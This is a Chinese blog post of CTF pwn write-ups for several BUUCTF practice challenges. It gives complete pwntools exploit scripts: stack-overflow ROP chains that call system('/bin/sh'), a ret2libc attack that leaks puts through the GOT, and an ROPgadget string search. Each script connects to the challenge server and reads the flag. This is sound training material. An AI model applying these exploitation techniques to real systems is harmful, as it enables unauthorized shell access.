PWN-PRACTICE-BUUCTF-5

jarvisoj_level2_x64

这题和[HarekazeCTF2019]baby_rop几乎一模一样

from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',27023)
elf=ELF('./level2_x64')
io.recvuntil("Input:\n")
pop_rdi_ret=0x00000000004006b3
ret=0x00000000004004a1
system=elf.plt['system']
main=0x0000000000400620
binsh=0x0000000000600A90
payload="a"*(128+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
io.sendline(payload)
io.sendline("cat flag")
io.interactive()

ciscn_2019_n_5

栈溢出ret2libc

from pwn import *
context.log_level="debug"
io=remote('node4.buuoj.cn',27687)
elf=ELF("./ciscn_2019_n_5")
libc=ELF("./libc-2.27-18-x64.so")
io.recvuntil("your name\n")
io.sendline("p1umh0")
io.recvuntil("say to me?\n")
pop_rdi_ret=0x0000000000400713
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main=0x0000000000400636
ret=0x00000000004004c9
payload="a"*(30+2+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00"))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()
payload_2="a"*(30+2+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
io.recvuntil("your name\n")
io.sendline("p1umh0")
io.recvuntil("say to me?\n")
io.sendline(payload_2)
io.sendline("cat flag")
io.interactive()

others_shellcode

程序在getShell函数中执行了系统调用,execve("/bin/sh"),nc连接上直接cat flag即可
shell-getshell

ciscn_2019_ne_5

case 1的AddLog读取数据,最大长度128
case 4的GetFlag将读取的数据拷贝到dest,于是可以构成栈溢出
ne5-getflag
程序包含了system,找一个"/bin/sh"或者"sh"来用

p1umh0@p1umh0:~/ctf/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string "/bin/sh"
Strings information
============================================================
p1umh0@p1umh0:~/ctf/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string "sh"
Strings information
============================================================
0x080482ea : sh

覆盖eip到system

from pwn import *
io=remote('node4.buuoj.cn',29535)
elf=ELF('./ciscn_2019_ne_5')
io.recvuntil("password:")
io.sendline("administrator")
io.recvuntil("0.Exit\n:")
io.sendline("1")
io.recvuntil("log info:")
system=elf.plt['system']
main=0x08048722
sh=0x080482ea
payload="a"*(0x48+4)+p32(system)+p32(main)+p32(sh)
io.sendline(payload)
io.recvuntil("0.Exit\n:")
io.sendline("4")
io.sendline("cat flag")
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

P1umH0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值